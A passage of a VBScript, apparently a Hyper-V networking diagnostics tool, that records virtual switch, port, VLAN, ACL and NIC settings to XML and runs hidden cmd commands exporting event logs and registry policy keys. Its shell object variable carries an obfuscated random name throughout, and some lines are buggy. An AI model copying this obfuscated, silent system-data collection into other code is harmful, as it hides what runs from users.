Set switches = objVirtualizationService.ExecQuery (strQuery)
For Each switch in switches
Call AddXmlNodeEntry(xmlDoc, "Switch", null, objRoot, objSwitch)
Call AddXmlNodeEntry(xmlDoc, "Name", switch.Name, objSwitch, objSwitchName)
Call AddXmlNodeEntry(xmlDoc, "FriendlyName", switch.ElementName, objSwitch, objSwitchFriendlyName)
strQuery = "Select * from MSVM_VirtualEthernetSwitchSettingData WHERE VirtualSystemIdentifier='" + switch.Name + "'"
Set switchSetting = objVirtualizationService.ExecQuery (strQuery).ItemIndex(0)
switchReservationMode = reservationMode(switchSetting.BandwidthReservationMode)
iovPreferred = switchSetting.IOVPreferred
' Bandwidth info
Call AddXmlNodeEntry(xmlDoc, "SwitchBandwidth", null, objSwitch, objBandwidth)
Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationMode", switchReservationMode, objBandwidth, objSwitchBandwidthReservationMode)
strQuery = "Select * from MSVM_EthernetSwitchBandwidthData WHERE SystemName ='" + switch.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set bandwidth = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BandwidthCapacity", bandwidth.Capacity, objBandwidth, objSwitchBandwidthCapacity)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservation", bandwidth.DefaultFlowReservation, objBandwidth, objSwitchDefaultFlowReservation)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservationPercentage", bandwidth.DefaultFlowReservationPercentage, objBandwidth, objSwitchDefaultFlowReservationPercentage)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowWeight", bandwidth.DefaultFlowWeight, objBandwidth, objSwitchDefaultFlowWeight)
Call AddXmlNodeEntry(xmlDoc, "Reservation", bandwidth.Reservation, objBandwidth, objSwitchReservation)
End if
' Offload info
Call AddXmlNodeEntry(xmlDoc, "SwitchOffload", null, objSwitch, objOffload)
Call AddXmlNodeEntry(xmlDoc, "IOVPreferred", iovPreferred, objOffload, objSwitchIOVPreferred)
strQuery = "Select * from MSVM_EthernetSwitchHardwareOffloadData WHERE SystemName='" + switch.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set offload = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairCapacity", offload.IovQueuePairCapacity, objOffload, objSwitchIovQueuePairCapacity)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", offload.IovQueuePairUsage, objOffload, objSwitchIovQueuePairUsage )
Call AddXmlNodeEntry(xmlDoc, "IovVfCapacity", offload.IovVfCapacity, objOffload, objSwitchIovVfCapacity)
Call AddXmlNodeEntry(xmlDoc, "IovVfUsage", offload.IovVfUsage, objOffload, IovVfUsage)
Call AddXmlNodeEntry(xmlDoc, "IPsecSACapacity", offload.IPsecSACapacity, objOffload, objSwitchIPsecSACapacity)
Call AddXmlNodeEntry(xmlDoc, "IPsecSAUsage", offload.IPsecSAUsage, objOffload, objSwitchIPsecSAUsage)
End if
' Extension info
Call AddXmlNodeEntry(xmlDoc, "SwitchExtensions", null, objSwitch, objExtensionList)
strQuery = "Select * from MSVM_EthernetSwitchExtension WHERE SystemName='" + switch.Name + "'"
Set extensionList = objVirtualizationService.ExecQuery (strQuery)
For Each extension In extensionList
Call AddXmlNodeEntry(xmlDoc, "Extension", null, objExtensionList, objExtension)
Call AddXmlNodeEntry(xmlDoc, "ElementName", extension.ElementName, objExtension, objExtensionElementName)
Call AddXmlNodeEntry(xmlDoc, "Name", extension.Name, objExtension, objExtensionName)
Call AddXmlNodeEntry(xmlDoc, "ExtensionType", extensionTypeArray(extension.ExtensionType), objExtension, objExtensionExtensionType)
Call AddXmlNodeEntry(xmlDoc, "EnabledState", enabledStatesArray(extension.EnabledState), objExtension, objExtensionEnabledState)
Call AddXmlNodeEntry(xmlDoc, "EnabledDefault", enabledStatesArray(extension.EnabledDefault), objExtension, objExtensionEnabledDefault)
Call AddXmlNodeEntry(xmlDoc, "Vendor", extension.Vendor, objExtension, objExtensionVendor)
Call AddXmlNodeEntry(xmlDoc, "Version", extension.Version, objExtension, objExtensionVersion)
Next
' Port info
strQuery = "Select * from MSVM_EthernetSwitchPort WHERE SystemName='" + switch.Name + "'"
Set switchPort = objVirtualizationService.ExecQuery (strQuery)
For Each port In switchPort
Call AddXmlNodeEntry(xmlDoc, "Port", null, objSwitch, objPort)
Call AddXmlNodeEntry(xmlDoc, "Name", port.Name, objPort, objPortName)
Call AddXmlNodeEntry(xmlDoc, "FriendlyName", port.ElementName, objPort, objPortFriendlyName)
'Port offload info
Call AddXmlNodeEntry(xmlDoc, "PortOffload", null, objPort, objPortOffload)
strQuery = "Select * from MSVM_EthernetSwitchPortOffloadData WHERE DeviceID='" + port.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set portOffload = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "IovOffloadUsage", portOffload.IovOffloadUsage, objPortOffload, objPortIovOffloadUsage)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", portOffload.IovQueuePairUsage, objPortOffload, objPortIovQueuePairUsage)
Call AddXmlNodeEntry(xmlDoc, "IovVfDataPathActive", portOffload.IovVfDataPathActive, objPortOffload, objPortIovVfDataPathActive)
Call AddXmlNodeEntry(xmlDoc, "IovVfId", portOffload.IovVfId, objPortOffload, objPortIovVfId)
Call AddXmlNodeEntry(xmlDoc, "IpsecCurrentOffloadSaCount", portOffload.IpsecCurrentOffloadSaCount, objPortOffload, objPortIpsecCurrentOffloadSaCount)
Call AddXmlNodeEntry(xmlDoc, "VMQId", portOffload.VMQId, objPortOffload, objPortVMQId)
Call AddXmlNodeEntry(xmlDoc, "VMQOffloadUsage", portOffload.VMQOffloadUsage, objPortOffload, objPortVMQOffloadUsage)
End if
'Port Bandwidth feature status
Call AddXmlNodeEntry(xmlDoc, "PortBandwidth", null, objPort, objPortBandwidth)
strQuery = "Select * from MSVM_EthernetSwitchPortBandwidthData WHERE DeviceID='" + port.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set portBandwidth = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationPercentage", portBandwidth.CurrentBandwidthReservationPercentage, objPortBandwidth, objPortCurrentBandwidthReservationPercentage)
End If
'Get the setting data for the port
Set portSettingObject = port.Associators_("Msvm_ElementSettingData", "Msvm_EthernetPortAllocationSettingData").ItemIndex(0)
'Port bandwidth setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortBandwidthSettingData")
If (queryResult.Count > 0) Then
Set portBandwidthData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BurstLimit", portBandwidthData.BurstLimit, objPortBandwidth, objPortBurstLimit)
Call AddXmlNodeEntry(xmlDoc, "BurstSize", portBandwidthData.BurstSize, objPortBandwidth, objPortBurstSize)
Call AddXmlNodeEntry(xmlDoc, "Limit", portBandwidthData.Limit, objPortBandwidth, objPortLimit)
Call AddXmlNodeEntry(xmlDoc, "Reservation", portBandwidthData.Reservation, objPortBandwidth, objPortReservation)
Call AddXmlNodeEntry(xmlDoc, "Weight", portBandwidthData.Weight, objPortBandwidth, objPortBurstWeight)
End if
' Port offload setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortOffloadSettingData")
If (queryResult.Count > 0) Then
Set portOffloadData = queryResult.ItemIndex(0)
if (portOffloadData.IOVInterruptModeration <= 2) Then
iovInterruptModeration = iovInterruptModerationArray(portOffloadData.IOVInterruptModeration)
Else
iovInterruptModeration = iovInterruptModerationArray(((portOffloadData.IOVInterruptModeration)/100)+2)
End if
Call AddXmlNodeEntry(xmlDoc, "IOVInterruptModeration", iovInterruptModeration, objPortOffload, objPortIOVInterruptModeration)
Call AddXmlNodeEntry(xmlDoc, "IOVOffloadWeight", portOffloadData.IOVOffloadWeight, objPortOffload, objPortIOVOffloadWeight)
Call AddXmlNodeEntry(xmlDoc, "IOVQueuePairsRequested", portOffloadData.IOVQueuePairsRequested, objPortOffload, objPortIOVQueuePairsRequested)
Call AddXmlNodeEntry(xmlDoc, "IPSecOffloadLimit", portOffloadData.IPSecOffloadLimit, objPortOffload, objPortIPSecOffloadLimit)
Call AddXmlNodeEntry(xmlDoc, "VMQOffloadWeight", portOffloadData.VMQOffloadWeight, objPortOffload, objPortVMQOffloadWeight)
End If
' Port security setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortSecuritySettingData")
If (queryResult.Count > 0) Then
Set portSecurityData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortSecurity", null, objPort, objPortSecurity)
Call AddXmlNodeEntry(xmlDoc, "AllowIeeePriorityTag", onOffState(portSecurityData.AllowIeeePriorityTag+1), objPortSecurity, objPortAllowIeeePriorityTag)
Call AddXmlNodeEntry(xmlDoc, "AllowMacSpoofing", onOffState(portSecurityData.AllowMacSpoofing+1), objPortSecurity, objPortAllowMacSpoofing)
Call AddXmlNodeEntry(xmlDoc, "AllowTeaming", onOffState(portSecurityData.AllowTeaming+1), objPortSecurity, objPortAllowTeaming)
Call AddXmlNodeEntry(xmlDoc, "EnableDhcpGuard", onOffState(portSecurityData.EnableDhcpGuard+1), objPortSecurity, objPortEnableDhcpGuard)
Call AddXmlNodeEntry(xmlDoc, "EnableRouterGuard", onOffState(portSecurityData.EnableRouterGuard+1), objPortSecurity, objPortEnableRouterGuard)
Call AddXmlNodeEntry(xmlDoc, "MonitorMode", monitorModeArray(portSecurityData.MonitorMode), objPortSecurity, objPortMonitorMode)
Call AddXmlNodeEntry(xmlDoc, "MonitorSession", portSecurityData.MonitorSession, objPortSecurity, objPortMonitorSession)
Call AddXmlNodeEntry(xmlDoc, "TeamName", portSecurityData.TeamName, objPortSecurity, objPortTeamName)
Call AddXmlNodeEntry(xmlDoc, "TeamNumber", portSecurityData.TeamNumber, objPortSecurity, objPortTeamNumber)
Call AddXmlNodeEntry(xmlDoc, "VirtualSubnetId", portSecurityData.VirtualSubnetId, objPortSecurity, objPortVirtualSubnetId)
Call AddXmlNodeEntry(xmlDoc, "StormLimit", portSecurityData.StormLimit, objPortSecurity, objPortStormLimit)
Call AddXmlNodeEntry(xmlDoc, "DynamicIPAddressLimit", portSecurityData.DynamicIPAddressLimit, objPortSecurity, objPortDynamicIPAddressLimit)
End If
' Port isolation setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortIsolationSettingData")
If (queryResult.Count > 0) Then
Set portIsolationData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortIsolation", null, objPort, objPortIsolation)
Call AddXmlNodeEntry(xmlDoc, "IsolationMode", isolationModeArray(portIsolationData.IsolationMode), objPortIsolation, objPortIsolationMode)
Call AddXmlNodeEntry(xmlDoc, "DefaultIsolationId", portIsolationData.DefaultIsolationId, objPortIsolation, objPortDefaultIsolationId)
Call AddXmlNodeEntry(xmlDoc, "AllowUntaggedTraffic", onOffState(portIsolationData.AllowUntaggedTraffic+1), objPortIsolation, objPortAllowUntaggedTraffic)
Call AddXmlNodeEntry(xmlDoc, "EnableMultiTenantStack", onOffState(portIsolationData.EnableMultiTenantStack+1), objPortIsolation, objPortEnableMultiTenantStack)
End If
' Port routing domain setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortRoutingDomainSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainList", null, objPort, objPortRoutingDomainList)
For each portRoutingDomainData in queryResult
Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainMapping", null, objPortRoutingDomainList, objPortRoutingDomain)
Call AddXmlNodeEntry(xmlDoc, "RoutingDomainGuid", portRoutingDomainData.RoutingDomainGuid, objPortRoutingDomain, objPortRoutingDomainGuid)
Call AddXmlNodeEntry(xmlDoc, "RoutingDomainName", portRoutingDomainData.RoutingDomainName, objPortRoutingDomain, objPortRoutingDomainName)
isolationIdString = ""
for each isolationId In portRoutingDomainData.IsolationIdList
isolationIdString = isolationIdString & isolationId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "IsolationIdList", isolationIdString, objPortRoutingDomain, objPortIsolationIdList)
isolationIdNameString = ""
for each isolationIdName In portRoutingDomainData.IsolationIdNameList
isolationIdNameString = isolationIdNameString & isolationIdName & " "
Next
Call AddXmlNodeEntry(xmlDoc, "IsolationIdNameList", isolationIdNameString, objPortRoutingDomain, objPortIsolationIdNameList)
Next
End If
'Port VLAN setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortVlanSettingData")
If (queryResult.Count > 0) Then
Set portVlanData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortVlan", null, objPort, objPortVlan)
Call AddXmlNodeEntry(xmlDoc, "VlanMode", vlanModeArray(portVlanData.OperationMode), objPortVlan, objPortVlanMode)
if (portVlanData.OperationMode = 1) Then
Call AddXmlNodeEntry(xmlDoc, "AccessVlanId", portVlanData.AccessVlanId, objPortVlan, objPortVlanAccess)
End If
if (portVlanData.OperationMode = 2) Then
Call AddXmlNodeEntry(xmlDoc, "NativeVlanId", portVlanData.NativeVlanId, objPortVlan, objPortVlanNative)
trunkVlanString = ""
for each trunkVlanId In portVlanData.TrunkVlanIdArray
trunkVlanString = trunkVlanString & trunkVlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "TrunkVlanArray", trunkVlanString, objPortVlan, objPortVlanTrunk)
pruneVlanString = ""
for each prunevlanId In portVlanData.PruneVlanIdArray
tpruneVlanString = pruneVlanString & prunevlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "PruneVlanArray", trunkVlanString, objPortVlan, objPortVlanPrune)
End If
if (portVlanData.OperationMode = 3) Then
Call AddXmlNodeEntry(xmlDoc, "PvlanMode", PvlanModeArray(portVlanData.PvlanMode), objPortVlan, objPortPVlanMode)
Call AddXmlNodeEntry(xmlDoc, "PrimaryVlanId", portVlanData.PrimaryVlanId, objPortVlan, objPortPrimaryVlanId)
Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanId", portVlanData.SecondaryVlanId, objPortVlan, objPortSecondaryVlanId)
secondaryVlanString = ""
for each secondaryVlanId In portVlanData.SecondaryVlanIdArray
secondaryVlanString = secondaryVlanString & secondaryVlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanArray", secondaryVlanString, objPortVlan, objPortVlanSecondary)
End If
End If
'Extended Port ACLs
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortExtendedAclSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortExtendedAclList", null, objPort, objPortEaclList)
for each extendedacl In queryResult
Call AddXmlNodeEntry(xmlDoc, "ExtendedAcl", null, objPortEaclList, objPortEacl)
Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(extendedAcl.Action), objPortEacl, objPortEaclAction)
Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(extendedAcl.Direction), objPortEacl, objPortEaclDirection)
Call AddXmlNodeEntry(xmlDoc, "Weight", extendedAcl.Weight, objPortEacl, objPortEaclWeight)
Call AddXmlNodeEntry(xmlDoc, "Protocol", extendedAcl.Protocol, objPortEacl, objPortEaclProtocol)
Call AddXmlNodeEntry(xmlDoc, "LocalIPAddress", extendedAcl.LocalIPAddress, objPortEacl, objPortEaclLocalIP)
Call AddXmlNodeEntry(xmlDoc, "LocalPort", extendedAcl.LocalPort, objPortEacl, objPortEaclLocalPort)
Call AddXmlNodeEntry(xmlDoc, "RemoteIPAddress", extendedAcl.RemoteIPAddress, objPortEacl, objPortEaclRemoteIP)
Call AddXmlNodeEntry(xmlDoc, "RemotePort", extendedAcl.RemotePort, objPortEacl, objPortEaclRemotePort)
Call AddXmlNodeEntry(xmlDoc, "Stateful", onOffState(extendedAcl.Stateful+1), objPortEacl, objPortEaclStateful)
Call AddXmlNodeEntry(xmlDoc, "IsolationID", extendedAcl.IsolationID, objPortEacl, objPortEaclIsolationId)
Next
End If
'Port ACLs
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortAclSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortAclList", null, objPort, objPortAclList)
for each acl In queryResult
Call AddXmlNodeEntry(xmlDoc, "Acl", null, objPortAclList, objPortAcl)
Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(acl.Action), objPortAcl, objPortAclAction)
Call AddXmlNodeEntry(xmlDoc, "AclType", aclTypeArray(acl.AclType), objPortAcl, objPortAclType)
Call AddXmlNodeEntry(xmlDoc, "Applicability", aclApplicabilityArray(acl.Applicability), objPortAcl, objPortAclApplicability)
Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(acl.Direction), objPortAcl, objPortAclDirection)
Call AddXmlNodeEntry(xmlDoc, "LocalAddress", acl.LocalAddress, objPortAcl, objPortAclLocalAddress)
Call AddXmlNodeEntry(xmlDoc, "LocalAddressPrefixLength", acl.LocalAddressPrefixLength, objPortAcl, objPortAclLocalAddressPrefixLength)
Call AddXmlNodeEntry(xmlDoc, "RemoteAddress", acl.RemoteAddress, objPortAcl, objPortAclRemoteAddress)
Call AddXmlNodeEntry(xmlDoc, "RemoteAddressPrefixLength", acl.RemoteAddressPrefixLength, objPortAcl, objPortAclRemoteAddressPrefixLength)
Next
End If
'Connected NIC
Set portLanEndPoint = port.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_LANEndpoint").ItemIndex(0)
Set nicLanEndPoint = portLanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint").ItemIndex(0)
logNic = false
'Synthetic NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_SyntheticEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 0
logNic = True
End If
'Emulated NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_EmulatedEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 1
logNic = True
End If
'Internal NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_InternalEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 2
logNic = True
End If
'External NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_ExternalEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 3
logNic = True
End If
If (logNic = True) Then
Call AddXmlNodeEntry(xmlDoc, "Nic", null, objPort, objNic)
Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)
Call AddXmlNodeEntry(xmlDoc, "NicType", nicTypeArray(nicType), objNic, objNicId)
If (IsNull(nic.NetworkAddresses) = False) Then
For Each networkAddress In nic.NetworkAddresses
Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)
Next
End If
Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)
Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)
If (nicType = 0 Or nicType = 1) Then
Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)
strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"
Set queryResult = objVirtualizationService.ExecQuery(strQuery)
If (queryResult.Count > 0) Then
Set vm = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)
End If
End If
End If
Next
Next
' Disconnected NIC info
strQueryArray = Array("Select * from MSVM_SyntheticEthernetPort", "Select * from MSVM_EmulatedEthernetPort")
nicType = 0
Call AddXmlNodeEntry(xmlDoc, "DisconnectedNics", null, objRoot, objDisconnectedNics)
For Each strQuery in strQueryArray
Set switchPort = objVirtualizationService.ExecQuery (strQuery)
For Each nic In switchPort
Set lanEndPoint = port.Associators_("Msvm_DeviceSAPImplementation", "Msvm_LANEndpoint")
Set connectedlanEndPoint = lanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint")
if (connectedlanEndPoint.Count = 0) Then
Call AddXmlNodeEntry(xmlDoc, "Nic", null, objDisconnectedNics, objNic)
Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)
Call AddXmlNodeEntry(xmlDoc, "NicType", nicTypeArray(nicType), objNic, objNicId)
If (IsNull(nic.NetworkAddresses) = False) Then
For Each networkAddress In nic.NetworkAddresses
Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)
Next
End If
Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)
Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)
If (nicType = 0 Or nicType = 1) Then
Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)
strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"
Set queryResult = objVirtualizationService.ExecQuery(strQuery)
If (queryResult.Count > 0) Then
Set vm = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)
End If
End If
End If
Next
nicType = nicType + 1
Next
Set objIntro = xmlDoc.CreateProcessingInstruction ("xml", "version='1.0'")
xmlDoc.insertBefore objIntro, xmlDoc.childNodes(0)
xmlDoc.Save outputFileName
Else
End If
End Sub
Sub GetVmswitchLog(vmswitchlogFileName, vmmslogFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
'Export the vmswitch events from system log
cmd = "cmd /c wevtutil epl System /q:""*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]"" " & vmswitchlogFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & vmswitchlogFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Export the VMMS networking log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Hyper-V-VMMS-Networking"" " & vmmslogFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & vmmslogFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetApplicationExportLog(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
'Export the ApplicationExport log
cmd = "cmd /c wevtutil epl Application " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetSystemExportLog(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
'Export the ApplicationExport log
cmd = "cmd /c wevtutil epl System " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetHotFixInfo(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c wmic qfe >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetCreateBindingMap(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netcfg -m >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetWinsockLog(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg.exe query hklm\system\CurrentControlSet\Services\Winsock\Parameters /v Transports >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c reg.exe query ""hklm\system\CurrentControlSet\Services\Winsock\Setup Migration"" /v ""Provider List"" >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh.exe winsock show catalog >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetEpdPolicies(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseDataProtection\Policies " & outputFileName & " /y /Reg:64"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetPolicyManager(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\Providers " & outputFileName & " /y /Reg:64"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetHomeGroupListener(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
